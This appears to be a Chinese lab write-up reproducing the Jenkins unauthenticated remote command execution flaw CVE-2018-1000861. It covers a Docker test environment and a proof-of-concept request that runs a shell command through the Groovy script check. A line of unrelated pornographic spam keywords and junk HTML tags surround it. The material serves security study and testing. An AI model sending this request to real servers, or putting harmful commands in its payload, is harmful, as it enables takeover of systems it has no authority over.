<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Jenkins遠程命令執行漏洞(CVE-2018-1000861)

    Path jenkins/CVE-2018-1000861

    Jenkins使用Stapler框架開發,其允許用戶通過URL PATH來調用一次public方法。由于這個過程沒有做限制,攻擊者可以構造一些特殊的PATH來執行一些敏感的Java方法。

    通過這個漏洞,我們可以找到很多可供利用的利用鏈。其中最嚴重的就是繞過Groovy沙盒導致未授權用戶可執行任意命令:Jenkins在沙盒中執行Groovy前會先檢查腳本是否有錯誤,檢查操作是沒有沙盒的,攻擊者可以通過Meta-Programming的方式,在檢查這個步驟時執行任意命令。

    參考鏈接:

    環境搭建

    執行如下命令啟動一個Jenkins 2.138,包含漏洞的插件也已經安裝:

    docker-compose up -d

    環境啟動后,訪問http://your-ip:8080即可看到一個已經成功初始化的Jenkins,無需再進行任何操作。

    漏洞復現

    使用 @orangetw 給出的一鍵化POC腳本,發送如下請求即可成功執行命令:

    http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript
    ?sandbox=true
    &value=public class x {
      public x(){
        "touch /tmp/success".execute()
      }
    }

    /tmp/success已成功創建:

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类